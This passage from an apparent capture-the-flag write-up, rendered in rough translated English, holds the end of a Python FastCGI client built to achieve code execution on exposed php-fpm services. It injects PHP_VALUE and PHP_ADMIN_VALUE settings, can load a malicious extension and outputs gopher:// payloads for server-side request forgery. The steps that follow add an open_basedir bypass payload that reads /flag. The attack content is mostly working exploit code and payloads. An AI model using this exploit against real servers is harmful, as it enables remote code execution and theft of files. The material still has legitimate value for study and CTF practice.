        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf
        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']
    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
    parser.add_argument('-e', '--ext', help='ext absolute path', default='')
    parser.add_argument('-if', '--include_file', help='evil.php absolute path', default='')
    parser.add_argument('-u', '--url_format', help='generate gopher stream in url format', nargs='?',const=1)
    parser.add_argument('-b', '--base64_format', help='generate gopher stream in base64 format', nargs='?',const=1)
    args = parser.parse_args()
    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    params = {
    
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(args.code),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    if args.ext and args.include_file:
        #params['PHP_ADMIN_VALUE']='extension = '+args.ext
        params['PHP_ADMIN_VALUE']="extension_dir = /var/www/html\nextension = ant.so"
        params['PHP_VALUE']='auto_prepend_file = '+args.include_file
    if not args.url_format and not args.base64_format :
        response = client.request(params, args.code)
        print(force_text(response))
    else:
        response = client.gopher(params, args.code)
        if args.url_format:
            print(urllib.parse.quote(response))
        if args.base64_format:
            print(base64.b64encode(response))

Appoint FPM The Intranet IP、php Path to file 、 Port default 9000、 Running php Code 、 And ask for urlencode

python gopher.py ip /var/www/html/index.php -p 9000 -c "<?php phpinfo();?>" -u

phar Generate script modification url by gopher://10.0.248.6:9000/_ Plus the generated payload
Put this gopher Protocol generation phar package , Then I read phpinfo()
Find out open_basedir Limits the scope , The next step is to bypass the root directory structure , take phpinfo() Just change it , use filesystemiterator, Finally found flag stay /flag, use ini_set and mkdir Combined read

Change gopher Parameters of c For the following code

<?php mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));?>

https://blog.csdn.net/Xxy605/article/details/120161001 This blog also records Automatic access to flag Script for

原网站

版权声明
本文为[Arnoldqqq]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/03/202203010519384153.html